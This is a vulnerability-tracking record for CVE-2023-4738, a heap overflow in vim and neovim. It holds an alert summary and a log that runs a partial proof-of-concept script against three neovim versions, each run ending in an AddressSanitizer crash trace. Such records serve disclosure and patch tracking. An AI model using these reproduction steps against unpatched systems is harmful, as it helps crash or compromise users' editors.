{"vulnerability": "CVE-2023-4738", "sightings": [{"uuid": "fa4b5d19-9f38-43f9-8c31-60cbc150a3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4738", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19447", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4738\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1848.\n\ud83d\udccf Published: 2023-09-02T19:39:14.290Z\n\ud83d\udccf Modified: 2025-06-25T14:32:31.999Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/9fc7dced-a7bb-4479-9718-f956df20f612\n2. https://github.com/vim/vim/commit/ced2c7394aafdc90fb7845e09b3a3fee23d48cb1\n3. https://support.apple.com/kb/HT213984\n4. http://seclists.org/fulldisclosure/2023/Oct/24", "creation_timestamp": "2025-06-25T14:51:10.000000Z"}, {"uuid": "8bf6d2fa-c4f1-44ca-8ac1-8f1a834c14e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4738", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ebb148dcc15cb4185e6157b43b76544a", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34842==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000d04 at pc 0x0000004cc7ee bp 0x7ffdf49c64b0 sp 0x7ffdf49c5c70\nWRITE of size 101 at 0x60b000000d04 thread T0\n    #0 0x4cc7ed in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed)\n    #1 0x9a0a88 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1759:9\n    #2 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #3 0x73d595 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3945:17\n    #4 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #5 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #6 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #7 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #8 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #9 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #10 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #15 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #16 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #17 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #18 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x60b000000d04 is located 0 bytes to the right of 100-byte region [0x60b000000ca0,0x60b000000d04)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7fa3ced06082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8150: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fa\n  0x0c167fff8160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x0c167fff8170: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c167fff81a0:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34842==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34935==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000db4 at pc 0x0000004c27ce bp 0x7ffebca70030 sp 0x7ffebca6f7f0\nWRITE of size 101 at 0x60b000000db4 thread T0\n    #0 0x4c27cd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd)\n    #1 0xd36dae in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6709:9\n    #2 0xd395ca in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6662:16\n    #3 0x8cb9fe in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4098:17\n    #4 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #5 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #6 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #7 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #8 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #9 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #10 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #14 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #15 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60b000000db4 is located 0 bytes to the right of 100-byte region [0x60b000000d50,0x60b000000db4)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d31ad in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb7b4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4c80 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7f60d5742082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4c27cd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8160: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa 00 00\n  0x0c167fff8180: 00 00 00 00 00 00 00 00 00 00 05 fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c167fff81a0: fd fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00\n=>0x0c167fff81b0: 00 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa\n  0x0c167fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34935==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000e64 at pc 0x0000004b35de bp 0x7ffd4e634490 sp 0x7ffd4e633c50\nWRITE of size 101 at 0x60b000000e64 thread T0\n    #0 0x4b35dd in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd)\n    #1 0xb8aac3 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6618:9\n    #2 0xb8d167 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:6575:16\n    #3 0x7b951d in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3811:17\n    #4 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #5 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #6 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #7 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #8 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #9 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #13 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #14 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #15 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60b000000e64 is located 0 bytes to the right of 100-byte region [0x60b000000e00,0x60b000000e64)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7fd795e41082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4b35dd) in strcpy\nShadow bytes around the buggy address:\n  0x0c167fff8170: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fd fd\n  0x0c167fff8180: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c167fff8190: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c167fff81a0: 05 fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd\n  0x0c167fff81b0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa\n=>0x0c167fff81c0: 00 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa\n  0x0c167fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c167fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==34975==ABORTING", "creation_timestamp": "2026-09-06T13:36:04.016280Z"}]}